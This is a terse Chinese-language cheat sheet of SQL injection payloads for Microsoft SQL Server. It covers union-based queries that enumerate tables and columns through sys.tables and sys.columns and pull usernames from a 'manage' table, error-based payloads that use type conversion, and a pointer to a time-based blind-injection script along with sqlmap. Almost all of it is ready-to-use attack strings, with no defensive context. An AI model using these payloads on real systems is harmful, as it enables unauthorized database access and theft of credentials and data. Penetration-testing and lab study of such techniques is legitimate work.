一、union注入

注意：前面需要闭合，后面需要注释符或者闭合

判断字段数量
order by 3
查看回显字段(这里先使用null进行填充(不能像mysql使用1,2,3,4进行数据填充)，再使用'1'或者1判断数据的回显)
union all select null,null,null from sys.tables
查询表名
union all select top 1 name,1,null from sys.tables where name not in (select top 1 name from sys.tables)
查询列名
union all select top 1 col_name(object_id('table1'),1),1,null from sys.columns
查询字段值
union all select top 1 username,1,null from manage where username not in (select top 1 username from manage)

二、报错注入

利用显示或隐式转换来报错注入
select * from admin where id =1 and (select user)>0‐‐
select * from admin where id =1|(select user)‐‐

三、时间盲注

时间盲注脚本:https://www.cnblogs.com/sakura521/p/14988486.html
推荐:首选sqlmap->py脚本->burp字典(或者其他思路)